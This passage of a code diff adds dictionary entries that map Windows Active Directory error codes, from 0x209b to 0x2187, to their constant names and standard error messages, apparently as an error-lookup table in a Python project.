+        0x0000209b: ("ERROR_DS_NAME_TOO_MANY_PARTS", "The name has too many parts."),
+        0x0000209c: ("ERROR_DS_NAME_TOO_LONG", "The name is too long."),
+        0x0000209d: ("ERROR_DS_NAME_VALUE_TOO_LONG", "The name value is too long."),
+        0x0000209e: ("ERROR_DS_NAME_UNPARSEABLE", "The directory service encountered an error parsing a name."),
+        0x0000209f: ("ERROR_DS_NAME_TYPE_UNKNOWN", "The directory service cannot get the attribute type for a name."),
+        0x000020a0: ("ERROR_DS_NOT_AN_OBJECT", "The name does not identify an object; the name identifies a phantom."),
+        0x000020a1: ("ERROR_DS_SEC_DESC_TOO_SHORT", "The security descriptor is too short."),
+        0x000020a2: ("ERROR_DS_SEC_DESC_INVALID", "The security descriptor is invalid."),
+        0x000020a3: ("ERROR_DS_NO_DELETED_NAME", "Failed to create name for deleted object."),
+        0x000020a4: ("ERROR_DS_SUBREF_MUST_HAVE_PARENT", "The parent of a new subref must exist."),
+        0x000020a5: ("ERROR_DS_NCNAME_MUST_BE_NC", "The object must be a naming context."),
+        0x000020a6: ("ERROR_DS_CANT_ADD_SYSTEM_ONLY", "It is not permitted to add an attribute which is owned by the system."),
+        0x000020a7: ("ERROR_DS_CLASS_MUST_BE_CONCRETE", "The class of the object must be structural; you cannot instantiate an abstract class."),
+        0x000020a8: ("ERROR_DS_INVALID_DMD", "The schema object could not be found."),
+        0x000020a9: ("ERROR_DS_OBJ_GUID_EXISTS", "A local object with this GUID (dead or alive) already exists."),
+        0x000020aa: ("ERROR_DS_NOT_ON_BACKLINK", "The operation cannot be performed on a back link."),
+        0x000020ab: ("ERROR_DS_NO_CROSSREF_FOR_NC", "The cross reference for the specified naming context could not be found."),
+        0x000020ac: ("ERROR_DS_SHUTTING_DOWN", "The operation could not be performed because the directory service is shutting down."),
+        0x000020ad: ("ERROR_DS_UNKNOWN_OPERATION", "The directory service request is invalid."),
+        0x000020ae: ("ERROR_DS_INVALID_ROLE_OWNER", "The role owner attribute could not be read."),
+        0x000020af: ("ERROR_DS_COULDNT_CONTACT_FSMO", "The requested FSMO operation failed. The current FSMO holder could not be contacted."),
+        0x000020b0: ("ERROR_DS_CROSS_NC_DN_RENAME", "Modification of a DN across a naming context is not permitted."),
+        0x000020b1: ("ERROR_DS_CANT_MOD_SYSTEM_ONLY", "The attribute cannot be modified because it is owned by the system."),
+        0x000020b2: ("ERROR_DS_REPLICATOR_ONLY", "Only the replicator can perform this function."),
+        0x000020b3: ("ERROR_DS_OBJ_CLASS_NOT_DEFINED", "The specified class is not defined."),
+        0x000020b4: ("ERROR_DS_OBJ_CLASS_NOT_SUBCLASS", "The specified class is not a subclass."),
+        0x000020b5: ("ERROR_DS_NAME_REFERENCE_INVALID", "The name reference is invalid."),
+        0x000020b6: ("ERROR_DS_CROSS_REF_EXISTS", "A cross reference already exists."),
+        0x000020b7: ("ERROR_DS_CANT_DEL_MASTER_CROSSREF", "It is not permitted to delete a master cross reference."),
+        0x000020b8: ("ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD", "Subtree notifications are only supported on NC heads."),
+        0x000020b9: ("ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX", "Notification filter is too complex."),
+        0x000020ba: ("ERROR_DS_DUP_RDN", "Schema update failed: duplicate RDN."),
+        0x000020bb: ("ERROR_DS_DUP_OID", "Schema update failed: duplicate OID."),
+        0x000020bc: ("ERROR_DS_DUP_MAPI_ID", "Schema update failed: duplicate MAPI identifier."),
+        0x000020bd: ("ERROR_DS_DUP_SCHEMA_ID_GUID", "Schema update failed: duplicate schema-id GUID."),
+        0x000020be: ("ERROR_DS_DUP_LDAP_DISPLAY_NAME", "Schema update failed: duplicate LDAP display name."),
+        0x000020bf: ("ERROR_DS_SEMANTIC_ATT_TEST", "Schema update failed: range-lower less than range upper."),
+        0x000020c0: ("ERROR_DS_SYNTAX_MISMATCH", "Schema update failed: syntax mismatch."),
+        0x000020c1: ("ERROR_DS_EXISTS_IN_MUST_HAVE", "Schema deletion failed: attribute is used in must-contain."),
+        0x000020c2: ("ERROR_DS_EXISTS_IN_MAY_HAVE", "Schema deletion failed: attribute is used in may-contain."),
+        0x000020c3: ("ERROR_DS_NONEXISTENT_MAY_HAVE", "Schema update failed: attribute in may-contain does not exist."),
+        0x000020c4: ("ERROR_DS_NONEXISTENT_MUST_HAVE", "Schema update failed: attribute in must-contain does not exist."),
+        0x000020c5: ("ERROR_DS_AUX_CLS_TEST_FAIL", "Schema update failed: class in aux-class list does not exist or is not an auxiliary class."),
+        0x000020c6: ("ERROR_DS_NONEXISTENT_POSS_SUP", "Schema update failed: class in poss-superiors does not exist."),
+        0x000020c7: ("ERROR_DS_SUB_CLS_TEST_FAIL", "Schema update failed: class in subclassof list does not exist or does not satisfy hierarchy rules."),
+        0x000020c8: ("ERROR_DS_BAD_RDN_ATT_ID_SYNTAX", "Schema update failed: Rdn-Att-Id has wrong syntax."),
+        0x000020c9: ("ERROR_DS_EXISTS_IN_AUX_CLS", "Schema deletion failed: class is used as auxiliary class."),
+        0x000020ca: ("ERROR_DS_EXISTS_IN_SUB_CLS", "Schema deletion failed: class is used as sub class."),
+        0x000020cb: ("ERROR_DS_EXISTS_IN_POSS_SUP", "Schema deletion failed: class is used as poss superior."),
+        0x000020cc: ("ERROR_DS_RECALCSCHEMA_FAILED", "Schema update failed in recalculating validation cache."),
+        0x000020cd: ("ERROR_DS_TREE_DELETE_NOT_FINISHED", "The tree deletion is not finished. The request must be made again to continue deleting the tree."),
+        0x000020ce: ("ERROR_DS_CANT_DELETE", "The requested delete operation could not be performed."),
+        0x000020cf: ("ERROR_DS_ATT_SCHEMA_REQ_ID", "Cannot read the governs class identifier for the schema record."),
+        0x000020d0: ("ERROR_DS_BAD_ATT_SCHEMA_SYNTAX", "The attribute schema has bad syntax."),
+        0x000020d1: ("ERROR_DS_CANT_CACHE_ATT", "The attribute could not be cached."),
+        0x000020d2: ("ERROR_DS_CANT_CACHE_CLASS", "The class could not be cached."),
+        0x000020d3: ("ERROR_DS_CANT_REMOVE_ATT_CACHE", "The attribute could not be removed from the cache."),
+        0x000020d4: ("ERROR_DS_CANT_REMOVE_CLASS_CACHE", "The class could not be removed from the cache."),
+        0x000020d5: ("ERROR_DS_CANT_RETRIEVE_DN", "The distinguished name attribute could not be read."),
+        0x000020d6: ("ERROR_DS_MISSING_SUPREF", "No superior reference has been configured for the directory service. The directory service is therefore unable to issue referrals to objects outside this forest."),
+        0x000020d7: ("ERROR_DS_CANT_RETRIEVE_INSTANCE", "The instance type attribute could not be retrieved."),
+        0x000020d8: ("ERROR_DS_CODE_INCONSISTENCY", "An internal error has occurred."),
+        0x000020d9: ("ERROR_DS_DATABASE_ERROR", "A database error has occurred."),
+        0x000020da: ("ERROR_DS_GOVERNSID_MISSING", "The attribute GOVERNSID is missing."),
+        0x000020db: ("ERROR_DS_MISSING_EXPECTED_ATT", "An expected attribute is missing."),
+        0x000020dc: ("ERROR_DS_NCNAME_MISSING_CR_REF", "The specified naming context is missing a cross reference."),
+        0x000020dd: ("ERROR_DS_SECURITY_CHECKING_ERROR", "A security checking error has occurred."),
+        0x000020de: ("ERROR_DS_SCHEMA_NOT_LOADED", "The schema is not loaded."),
+        0x000020df: ("ERROR_DS_SCHEMA_ALLOC_FAILED", "Schema allocation failed. Please check if the machine is running low on memory."),
+        0x000020e0: ("ERROR_DS_ATT_SCHEMA_REQ_SYNTAX", "Failed to obtain the required syntax for the attribute schema."),
+        0x000020e1: ("ERROR_DS_GCVERIFY_ERROR", "The global catalog verification failed. The global catalog is not available or does not support the operation. Some part of the directory is currently not available."),
+        0x000020e2: ("ERROR_DS_DRA_SCHEMA_MISMATCH", "The replication operation failed because of a schema mismatch between the servers involved."),
+        0x000020e3: ("ERROR_DS_CANT_FIND_DSA_OBJ", "The DSA object could not be found."),
+        0x000020e4: ("ERROR_DS_CANT_FIND_EXPECTED_NC", "The naming context could not be found."),
+        0x000020e5: ("ERROR_DS_CANT_FIND_NC_IN_CACHE", "The naming context could not be found in the cache."),
+        0x000020e6: ("ERROR_DS_CANT_RETRIEVE_CHILD", "The child object could not be retrieved."),
+        0x000020e7: ("ERROR_DS_SECURITY_ILLEGAL_MODIFY", "The modification was not permitted for security reasons."),
+        0x000020e8: ("ERROR_DS_CANT_REPLACE_HIDDEN_REC", "The operation cannot replace the hidden record."),
+        0x000020e9: ("ERROR_DS_BAD_HIERARCHY_FILE", "The hierarchy file is invalid."),
+        0x000020ea: ("ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED", "The attempt to build the hierarchy table failed."),
+        0x000020eb: ("ERROR_DS_CONFIG_PARAM_MISSING", "The directory configuration parameter is missing from the registry."),
+        0x000020ec: ("ERROR_DS_COUNTING_AB_INDICES_FAILED", "The attempt to count the address book indices failed."),
+        0x000020ed: ("ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED", "The allocation of the hierarchy table failed."),
+        0x000020ee: ("ERROR_DS_INTERNAL_FAILURE", "The directory service encountered an internal failure."),
+        0x000020ef: ("ERROR_DS_UNKNOWN_ERROR", "The directory service encountered an unknown failure."),
+        0x000020f0: ("ERROR_DS_ROOT_REQUIRES_CLASS_TOP", "A root object requires a class of 'top'."),
+        0x000020f1: ("ERROR_DS_REFUSING_FSMO_ROLES", "This directory server is shutting down, and cannot take ownership of new floating single-master operation roles."),
+        0x000020f2: ("ERROR_DS_MISSING_FSMO_SETTINGS", "The directory service is missing mandatory configuration information, and is unable to determine the ownership of floating single-master operation roles."),
+        0x000020f3: ("ERROR_DS_UNABLE_TO_SURRENDER_ROLES", "The directory service was unable to transfer ownership of one or more floating single-master operation roles to other servers."),
+        0x000020f4: ("ERROR_DS_DRA_GENERIC", "The replication operation failed."),
+        0x000020f5: ("ERROR_DS_DRA_INVALID_PARAMETER", "An invalid parameter was specified for this replication operation."),
+        0x000020f6: ("ERROR_DS_DRA_BUSY", "The directory service is too busy to complete the replication operation at this time."),
+        0x000020f7: ("ERROR_DS_DRA_BAD_DN", "The distinguished name specified for this replication operation is invalid."),
+        0x000020f8: ("ERROR_DS_DRA_BAD_NC", "The naming context specified for this replication operation is invalid."),
+        0x000020f9: ("ERROR_DS_DRA_DN_EXISTS", "The distinguished name specified for this replication operation already exists."),
+        0x000020fa: ("ERROR_DS_DRA_INTERNAL_ERROR", "The replication system encountered an internal error."),
+        0x000020fb: ("ERROR_DS_DRA_INCONSISTENT_DIT", "The replication operation encountered a database inconsistency."),
+        0x000020fc: ("ERROR_DS_DRA_CONNECTION_FAILED", "The server specified for this replication operation could not be contacted."),
+        0x000020fd: ("ERROR_DS_DRA_BAD_INSTANCE_TYPE", "The replication operation encountered an object with an invalid instance type."),
+        0x000020fe: ("ERROR_DS_DRA_OUT_OF_MEM", "The replication operation failed to allocate memory."),
+        0x000020ff: ("ERROR_DS_DRA_MAIL_PROBLEM", "The replication operation encountered an error with the mail system."),
+        0x00002100: ("ERROR_DS_DRA_REF_ALREADY_EXISTS", "The replication reference information for the target server already exists."),
+        0x00002101: ("ERROR_DS_DRA_REF_NOT_FOUND", "The replication reference information for the target server does not exist."),
+        0x00002102: ("ERROR_DS_DRA_OBJ_IS_REP_SOURCE", "The naming context cannot be removed because it is replicated to another server."),
+        0x00002103: ("ERROR_DS_DRA_DB_ERROR", "The replication operation encountered a database error."),
+        0x00002104: ("ERROR_DS_DRA_NO_REPLICA", "The naming context is in the process of being removed or is not replicated from the specified server."),
+        0x00002105: ("ERROR_DS_DRA_ACCESS_DENIED", "Replication access was denied."),
+        0x00002106: ("ERROR_DS_DRA_NOT_SUPPORTED", "The requested operation is not supported by this version of the directory service."),
+        0x00002107: ("ERROR_DS_DRA_RPC_CANCELLED", "The replication remote procedure call was cancelled."),
+        0x00002108: ("ERROR_DS_DRA_SOURCE_DISABLED", "The source server is currently rejecting replication requests."),
+        0x00002109: ("ERROR_DS_DRA_SINK_DISABLED", "The destination server is currently rejecting replication requests."),
+        0x0000210a: ("ERROR_DS_DRA_NAME_COLLISION", "The replication operation failed due to a collision of object names."),
+        0x0000210b: ("ERROR_DS_DRA_SOURCE_REINSTALLED", "The replication source has been reinstalled."),
+        0x0000210c: ("ERROR_DS_DRA_MISSING_PARENT", "The replication operation failed because a required parent object is missing."),
+        0x0000210d: ("ERROR_DS_DRA_PREEMPTED", "The replication operation was preempted."),
+        0x0000210e: ("ERROR_DS_DRA_ABANDON_SYNC", "The replication synchronization attempt was abandoned because of a lack of updates."),
+        0x0000210f: ("ERROR_DS_DRA_SHUTDOWN", "The replication operation was terminated because the system is shutting down."),
+        0x00002110: ("ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET", "Synchronization attempt failed because the destination DC is currently waiting to synchronize new partial attributes from source. This condition is normal if a recent schema change modified the partial attribute set. The destination partial attribute set is not a subset of source partial attribute set."),
+        0x00002111: ("ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA", "The replication synchronization attempt failed because a master replica attempted to sync from a partial replica."),
+        0x00002112: ("ERROR_DS_DRA_EXTN_CONNECTION_FAILED", "The server specified for this replication operation was contacted, but that server was unable to contact an additional server needed to complete the operation."),
+        0x00002113: ("ERROR_DS_INSTALL_SCHEMA_MISMATCH", "The version of the directory service schema of the source forest is not compatible with the version of directory service on this computer."),
+        0x00002114: ("ERROR_DS_DUP_LINK_ID", "Schema update failed: An attribute with the same link identifier already exists."),
+        0x00002115: ("ERROR_DS_NAME_ERROR_RESOLVING", "Name translation: Generic processing error."),
+        0x00002116: ("ERROR_DS_NAME_ERROR_NOT_FOUND", "Name translation: Could not find the name or insufficient right to see name."),
+        0x00002117: ("ERROR_DS_NAME_ERROR_NOT_UNIQUE", "Name translation: Input name mapped to more than one output name."),
+        0x00002118: ("ERROR_DS_NAME_ERROR_NO_MAPPING", "Name translation: Input name found, but not the associated output format."),
+        0x00002119: ("ERROR_DS_NAME_ERROR_DOMAIN_ONLY", "Name translation: Unable to resolve completely, only the domain was found."),
+        0x0000211a: ("ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING", "Name translation: Unable to perform purely syntactical mapping at the client without going out to the wire."),
+        0x0000211b: ("ERROR_DS_CONSTRUCTED_ATT_MOD", "Modification of a constructed attribute is not allowed."),
+        0x0000211c: ("ERROR_DS_WRONG_OM_OBJ_CLASS", "The OM-Object-Class specified is incorrect for an attribute with the specified syntax."),
+        0x0000211d: ("ERROR_DS_DRA_REPL_PENDING", "The replication request has been posted; waiting for reply."),
+        0x0000211e: ("ERROR_DS_DS_REQUIRED", "The requested operation requires a directory service, and none was available."),
+        0x0000211f: ("ERROR_DS_INVALID_LDAP_DISPLAY_NAME", "The LDAP display name of the class or attribute contains non-ASCII characters."),
+        0x00002120: ("ERROR_DS_NON_BASE_SEARCH", "The requested search operation is only supported for base searches."),
+        0x00002121: ("ERROR_DS_CANT_RETRIEVE_ATTS", "The search failed to retrieve attributes from the database."),
+        0x00002122: ("ERROR_DS_BACKLINK_WITHOUT_LINK", "The schema update operation tried to add a backward link attribute that has no corresponding forward link."),
+        0x00002123: ("ERROR_DS_EPOCH_MISMATCH", "Source and destination of a cross-domain move do not agree on the object's epoch number. Either source or destination does not have the latest version of the object."),
+        0x00002124: ("ERROR_DS_SRC_NAME_MISMATCH", "Source and destination of a cross-domain move do not agree on the object's current name. Either source or destination does not have the latest version of the object."),
+        0x00002125: ("ERROR_DS_SRC_AND_DST_NC_IDENTICAL", "Source and destination for the cross-domain move operation are identical. Caller should use local move operation instead of cross-domain move operation."),
+        0x00002126: ("ERROR_DS_DST_NC_MISMATCH", "Source and destination for a cross-domain move are not in agreement on the naming contexts in the forest. Either source or destination does not have the latest version of the Partitions container."),
+        0x00002127: ("ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC", "Destination of a cross-domain move is not authoritative for the destination naming context."),
+        0x00002128: ("ERROR_DS_SRC_GUID_MISMATCH", "Source and destination of a cross-domain move do not agree on the identity of the source object. Either source or destination does not have the latest version of the source object."),
+        0x00002129: ("ERROR_DS_CANT_MOVE_DELETED_OBJECT", "Object being moved across-domains is already known to be deleted by the destination server. The source server does not have the latest version of the source object."),
+        0x0000212a: ("ERROR_DS_PDC_OPERATION_IN_PROGRESS", "Another operation which requires exclusive access to the PDC FSMO is already in progress."),
+        0x0000212b: ("ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD", "A cross-domain move operation failed such that two versions of the moved object exist - one each in the source and destination domains. The destination object needs to be removed to restore the system to a consistent state."),
+        0x0000212c: ("ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION", "This object may not be moved across domain boundaries either because cross-domain moves for this class are disallowed, or the object has some special characteristics, e.g.: trust account or restricted RID, which prevent its move."),
+        0x0000212d: ("ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS", "Can't move objects with memberships across domain boundaries as once moved, this would violate the membership conditions of the account group. Remove the object from any account group memberships and retry."),
+        0x0000212e: ("ERROR_DS_NC_MUST_HAVE_NC_PARENT", "A naming context head must be the immediate child of another naming context head, not of an interior node."),
+        0x0000212f: ("ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE", "The directory cannot validate the proposed naming context name because it does not hold a replica of the naming context above the proposed naming context. Please ensure that the domain naming master role is held by a server that is configured as a global catalog server, and that the server is up to date with its replication partners. (Applies only to Windows 2000 Domain Naming masters)"),
+        0x00002130: ("ERROR_DS_DST_DOMAIN_NOT_NATIVE", "Destination domain must be in native mode."),
+        0x00002131: ("ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER", "The operation cannot be performed because the server does not have an infrastructure container in the domain of interest."),
+        0x00002132: ("ERROR_DS_CANT_MOVE_ACCOUNT_GROUP", "Cross-domain move of non-empty account groups is not allowed."),
+        0x00002133: ("ERROR_DS_CANT_MOVE_RESOURCE_GROUP", "Cross-domain move of non-empty resource groups is not allowed."),
+        0x00002134: ("ERROR_DS_INVALID_SEARCH_FLAG", "The search flags for the attribute are invalid. The ANR bit is valid only on attributes of Unicode or Teletex strings."),
+        0x00002135: ("ERROR_DS_NO_TREE_DELETE_ABOVE_NC", "Tree deletions starting at an object which has an NC head as a descendant are not allowed."),
+        0x00002136: ("ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE", "The directory service failed to lock a tree in preparation for a tree deletion because the tree was in use."),
+        0x00002137: ("ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE", "The directory service failed to identify the list of objects to delete while attempting a tree deletion."),
+        0x00002138: ("ERROR_DS_SAM_INIT_FAILURE", "Security Accounts Manager initialization failed because of the following error: %1."),
+        0x00002139: ("ERROR_DS_SENSITIVE_GROUP_VIOLATION", "Only an administrator can modify the membership list of an administrative group."),
+        0x0000213a: ("ERROR_DS_CANT_MOD_PRIMARYGROUPID", "Cannot change the primary group ID of a domain controller account."),
+        0x0000213b: ("ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD", "An attempt is made to modify the base schema."),
+        0x0000213c: ("ERROR_DS_NONSAFE_SCHEMA_CHANGE", "Adding a new mandatory attribute to an existing class, deleting a mandatory attribute from an existing class, or adding an optional attribute to the special class Top that is not a backlink attribute (directly or through inheritance, for example, by adding or deleting an auxiliary class) is not allowed."),
+        0x0000213d: ("ERROR_DS_SCHEMA_UPDATE_DISALLOWED", "Schema update is not allowed on this DC because the DC is not the schema FSMO Role Owner."),
+        0x0000213e: ("ERROR_DS_CANT_CREATE_UNDER_SCHEMA", "An object of this class cannot be created under the schema container. You can only create attribute-schema and class-schema objects under the schema container."),
+        0x0000213f: ("ERROR_DS_INSTALL_NO_SRC_SCH_VERSION", "The replica/child install failed to get the objectVersion attribute on the schema container on the source DC. Either the attribute is missing on the schema container or the credentials supplied do not have permission to read it."),
+        0x00002140: ("ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE", "The replica/child install failed to read the objectVersion attribute in the SCHEMA section of the file schema.ini in the system32 directory."),
+        0x00002141: ("ERROR_DS_INVALID_GROUP_TYPE", "The specified group type is invalid."),
+        0x00002142: ("ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN", "You cannot nest global groups in a mixed domain if the group is security-enabled."),
+        0x00002143: ("ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN", "You cannot nest local groups in a mixed domain if the group is security-enabled."),
+        0x00002144: ("ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER", "A global group cannot have a local group as a member."),
+        0x00002145: ("ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER", "A global group cannot have a universal group as a member."),
+        0x00002146: ("ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER", "A universal group cannot have a local group as a member."),
+        0x00002147: ("ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER", "A global group cannot have a cross-domain member."),
+        0x00002148: ("ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER", "A local group cannot have another cross domain local group as a member."),
+        0x00002149: ("ERROR_DS_HAVE_PRIMARY_MEMBERS", "A group with primary members cannot change to a security-disabled group."),
+        0x0000214a: ("ERROR_DS_STRING_SD_CONVERSION_FAILED", "The schema cache load failed to convert the string default SD on a class-schema object."),
+        0x0000214b: ("ERROR_DS_NAMING_MASTER_GC", "Only DSAs configured to be Global Catalog servers should be allowed to hold the Domain Naming Master FSMO role. (Applies only to Windows 2000 servers)"),
+        0x0000214c: ("ERROR_DS_DNS_LOOKUP_FAILURE", "The DSA operation is unable to proceed because of a DNS lookup failure."),
+        0x0000214d: ("ERROR_DS_COULDNT_UPDATE_SPNS", "While processing a change to the DNS Host Name for an object, the Service Principal Name values could not be kept in sync."),
+        0x0000214e: ("ERROR_DS_CANT_RETRIEVE_SD", "The Security Descriptor attribute could not be read."),
+        0x0000214f: ("ERROR_DS_KEY_NOT_UNIQUE", "The object requested was not found, but an object with that key was found."),
+        0x00002150: ("ERROR_DS_WRONG_LINKED_ATT_SYNTAX", "The syntax of the linked attribute being added is incorrect. Forward links can only have syntax 2.5.5.1, 2.5.5.7, and 2.5.5.14, and backlinks can only have syntax 2.5.5.1"),
+        0x00002151: ("ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD", "Security Account Manager needs to get the boot password."),
+        0x00002152: ("ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY", "Security Account Manager needs to get the boot key from floppy disk."),
+        0x00002153: ("ERROR_DS_CANT_START", "Directory Service cannot start."),
+        0x00002154: ("ERROR_DS_INIT_FAILURE", "Directory Services could not start."),
+        0x00002155: ("ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION", "The connection between client and server requires packet privacy or better."),
+        0x00002156: ("ERROR_DS_SOURCE_DOMAIN_IN_FOREST", "The source domain may not be in the same forest as destination."),
+        0x00002157: ("ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST", "The destination domain must be in the forest."),
+        0x00002158: ("ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED", "The operation requires that destination domain auditing be enabled."),
+        0x00002159: ("ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN", "The operation couldn't locate a DC for the source domain."),
+        0x0000215a: ("ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER", "The source object must be a group or user."),
+        0x0000215b: ("ERROR_DS_SRC_SID_EXISTS_IN_FOREST", "The source object's SID already exists in destination forest."),
+        0x0000215c: ("ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH", "The source and destination object must be of the same type."),
+        0x0000215d: ("ERROR_SAM_INIT_FAILURE", "Security Accounts Manager initialization failed because of the following error: %1."),
+        0x0000215e: ("ERROR_DS_DRA_SCHEMA_INFO_SHIP", "Schema information could not be included in the replication request."),
+        0x0000215f: ("ERROR_DS_DRA_SCHEMA_CONFLICT", "The replication operation could not be completed due to a schema incompatibility."),
+        0x00002160: ("ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT", "The replication operation could not be completed due to a previous schema incompatibility."),
+        0x00002161: ("ERROR_DS_DRA_OBJ_NC_MISMATCH", "The replication update could not be applied because either the source or the destination has not yet received information regarding a recent cross-domain move operation."),
+        0x00002162: ("ERROR_DS_NC_STILL_HAS_DSAS", "The requested domain could not be deleted because there exist domain controllers that still host this domain."),
+        0x00002163: ("ERROR_DS_GC_REQUIRED", "The requested operation can be performed only on a global catalog server."),
+        0x00002164: ("ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY", "A local group can only be a member of other local groups in the same domain."),
+        0x00002165: ("ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS", "Foreign security principals cannot be members of universal groups."),
+        0x00002166: ("ERROR_DS_CANT_ADD_TO_GC", "The attribute is not allowed to be replicated to the GC because of security reasons."),
+        0x00002167: ("ERROR_DS_NO_CHECKPOINT_WITH_PDC", "The checkpoint with the PDC could not be taken because there too many modifications being processed currently."),
+        0x00002168: ("ERROR_DS_SOURCE_AUDITING_NOT_ENABLED", "The operation requires that source domain auditing be enabled."),
+        0x00002169: ("ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC", "Security principal objects can only be created inside domain naming contexts."),
+        0x0000216a: ("ERROR_DS_INVALID_NAME_FOR_SPN", "A Service Principal Name (SPN) could not be constructed because the provided hostname is not in the necessary format."),
+        0x0000216b: ("ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS", "A Filter was passed that uses constructed attributes."),
+        0x0000216c: ("ERROR_DS_UNICODEPWD_NOT_IN_QUOTES", "The unicodePwd attribute value must be enclosed in double quotes."),
+        0x0000216d: ("ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED", "Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased."),
+        0x0000216e: ("ERROR_DS_MUST_BE_RUN_ON_DST_DC", "For security reasons, the operation must be run on the destination DC."),
+        0x0000216f: ("ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER", "For security reasons, the source DC must be NT4SP4 or greater."),
+        0x00002170: ("ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ", "Critical Directory Service System objects cannot be deleted during tree delete operations. The tree delete may have been partially performed."),
+        0x00002171: ("ERROR_DS_INIT_FAILURE_CONSOLE", "Directory Services could not start because of the following error: %1."),
+        0x00002172: ("ERROR_DS_SAM_INIT_FAILURE_CONSOLE", "Security Accounts Manager initialization failed because of the following error: %1."),
+        0x00002173: ("ERROR_DS_FOREST_VERSION_TOO_HIGH", "The version of the operating system is incompatible with the current AD DS forest functional level or AD LDS Configuration Set functional level. You must upgrade to a new version of the operating system before this server can become an AD DS Domain Controller or add an AD LDS Instance in this AD DS Forest or AD LDS Configuration Set."),
+        0x00002174: ("ERROR_DS_DOMAIN_VERSION_TOO_HIGH", "The version of the operating system installed is incompatible with the current domain functional level. You must upgrade to a new version of the operating system before this server can become a domain controller in this domain."),
+        0x00002175: ("ERROR_DS_FOREST_VERSION_TOO_LOW", "The version of the operating system installed on this server no longer supports the current AD DS Forest functional level or AD LDS Configuration Set functional level. You must raise the AD DS Forest functional level or AD LDS Configuration Set functional level before this server can become an AD DS Domain Controller or an AD LDS Instance in this Forest or Configuration Set."),
+        0x00002176: ("ERROR_DS_DOMAIN_VERSION_TOO_LOW", "The version of the operating system installed on this server no longer supports the current domain functional level. You must raise the domain functional level before this server can become a domain controller in this domain."),
+        0x00002177: ("ERROR_DS_INCOMPATIBLE_VERSION", "The version of the operating system installed on this server is incompatible with the functional level of the domain or forest."),
+        0x00002178: ("ERROR_DS_LOW_DSA_VERSION", "The functional level of the domain (or forest) cannot be raised to the requested value, because there exist one or more domain controllers in the domain (or forest) that are at a lower incompatible functional level."),
+        0x00002179: ("ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN", "The forest functional level cannot be raised to the requested value since one or more domains are still in mixed domain mode. All domains in the forest must be in native mode, for you to raise the forest functional level."),
+        0x0000217a: ("ERROR_DS_NOT_SUPPORTED_SORT_ORDER", "The sort order requested is not supported."),
+        0x0000217b: ("ERROR_DS_NAME_NOT_UNIQUE", "The requested name already exists as a unique identifier."),
+        0x0000217c: ("ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4", "The machine account was created pre-NT4. The account needs to be recreated."),
+        0x0000217d: ("ERROR_DS_OUT_OF_VERSION_STORE", "The database is out of version store."),
+        0x0000217e: ("ERROR_DS_INCOMPATIBLE_CONTROLS_USED", "Unable to continue operation because multiple conflicting controls were used."),
+        0x0000217f: ("ERROR_DS_NO_REF_DOMAIN", "Unable to find a valid security descriptor reference domain for this partition."),
+        0x00002180: ("ERROR_DS_RESERVED_LINK_ID", "Schema update failed: The link identifier is reserved."),
+        0x00002181: ("ERROR_DS_LINK_ID_NOT_AVAILABLE", "Schema update failed: There are no link identifiers available."),
+        0x00002182: ("ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER", "An account group cannot have a universal group as a member."),
+        0x00002183: ("ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE", "Rename or move operations on naming context heads or read-only objects are not allowed."),
+        0x00002184: ("ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC", "Move operations on objects in the schema naming context are not allowed."),
+        0x00002185: ("ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG", "A system flag has been set on the object and does not allow the object to be moved or renamed."),
+        0x00002186: ("ERROR_DS_MODIFYDN_WRONG_GRANDPARENT", "This object is not allowed to change its grandparent container. Moves are not forbidden on this object, but are restricted to sibling containers."),
+        0x00002187: ("ERROR_DS_NAME_ERROR_TRUST_REFERRAL", "Unable to resolve completely, a referral to another forest is generated."),
